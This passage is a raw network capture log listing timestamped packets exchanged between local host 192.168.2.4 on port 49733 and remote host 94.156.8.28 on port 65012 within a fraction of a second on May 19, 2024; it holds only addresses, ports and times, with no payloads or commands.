May 19, 2024 06:01:08.714750051 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714770079 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714773893 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714802980 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714804888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714828968 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714832067 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.714862108 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.714881897 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715429068 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715461969 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715492964 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715497971 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715523958 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715536118 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715563059 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715575933 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715590000 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715601921 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715603113 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715630054 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715656042 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715682983 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715709925 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715723991 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715737104 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715753078 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715765953 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715792894 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715801001 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715820074 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715821981 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715850115 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715856075 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715878010 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715881109 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715905905 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715905905 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.715940952 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.715950966 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720391035 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720419884 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720447063 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720474005 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720478058 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720503092 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720516920 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720539093 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720545053 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720572948 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720576048 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720599890 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720601082 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720629930 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720629930 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720657110 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720658064 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720705986 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720716000 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720736980 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720757008 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720765114 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720791101 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720793962 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720819950 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720819950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720849037 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720849037 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720875025 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720876932 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720899105 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720906019 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720932961 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720933914 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720959902 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720961094 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.720988035 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.720990896 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.721015930 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.721045971 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.721879005 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.721908092 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.721935034 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.721961975 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.721982956 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.721990108 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722018003 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722018003 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722047091 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722048998 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722074032 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722083092 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722103119 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722130060 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722132921 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722143888 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722157955 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722177982 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722184896 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722198009 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722213984 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722223997 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722242117 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722246885 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722271919 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722275019 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722301006 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722306013 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722328901 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722347975 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722357035 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722372055 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722385883 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722389936 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722413063 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722414017 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722441912 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.722444057 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722480059 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.722518921 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725209951 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725241899 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725270987 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725296974 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725327969 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725339890 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725367069 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725373983 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725394964 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725400925 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725420952 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725435019 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725449085 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725455999 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725476027 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725486994 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725502968 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725508928 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725529909 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725532055 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725552082 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725559950 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.725589991 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.725841045 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.726943970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.726972103 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727006912 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727015018 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727035046 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727049112 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727062941 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727089882 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727098942 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727117062 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727123976 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727144003 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727145910 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727171898 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727174997 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727194071 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727199078 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727225065 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727238894 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727252960 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727262020 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727279902 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727288961 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727307081 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727308035 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727332115 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727334976 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727361917 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727365017 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727389097 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727401972 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727416039 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727443933 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727458954 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727471113 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727488041 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727498055 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.727505922 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.727545023 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728600025 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728631020 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728661060 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728676081 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728688002 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728696108 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728715897 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728722095 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728744030 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728745937 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728765965 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728771925 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728799105 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728807926 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728826046 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728828907 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728849888 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728852987 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728880882 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728907108 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728916883 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728933096 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728948116 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728960037 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.728980064 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.728987932 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729002953 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729016066 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729023933 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729043007 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729051113 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729069948 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729074001 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729095936 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729096889 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729124069 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729139090 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729150057 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729171991 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729177952 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729192019 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729213953 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729242086 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.729967117 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.729998112 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.730025053 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.730041027 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.730082035 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.730106115 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733059883 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733088970 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733114958 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733130932 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733141899 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733169079 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733196020 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733208895 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733222961 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733251095 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733275890 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733277082 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733304024 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733304977 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733329058 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733334064 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733361006 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733370066 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733387947 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733414888 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733431101 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733442068 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733458996 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733469009 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733486891 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733496904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733515978 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733527899 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733536959 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733555079 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733560085 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733582020 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733596087 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733611107 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.733618975 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733640909 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.733664989 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.734807968 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734839916 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734865904 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734893084 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734895945 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.734934092 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734941006 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.734961033 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734970093 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.734987974 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.734996080 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735014915 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735014915 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735042095 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735061884 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735069036 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735085011 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735095978 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735101938 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735124111 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735140085 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735152960 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735172987 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735179901 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735207081 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735209942 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735234022 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735235929 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735258102 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735263109 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735285997 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735331059 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735656023 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735683918 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735709906 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735717058 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735738039 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735766888 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735780001 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735802889 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735807896 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735836029 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735845089 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735862017 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735868931 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735889912 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735889912 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735915899 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735941887 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735946894 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.735971928 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.735985041 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736011028 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736016035 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736038923 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736038923 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736062050 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736067057 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736094952 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736138105 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736164093 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736179113 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736179113 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736191034 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736218929 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736219883 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736244917 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736248016 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.736274004 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.736299038 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:08.739342928 CEST	65012	49733	94.156.8.28	192.168.2.4
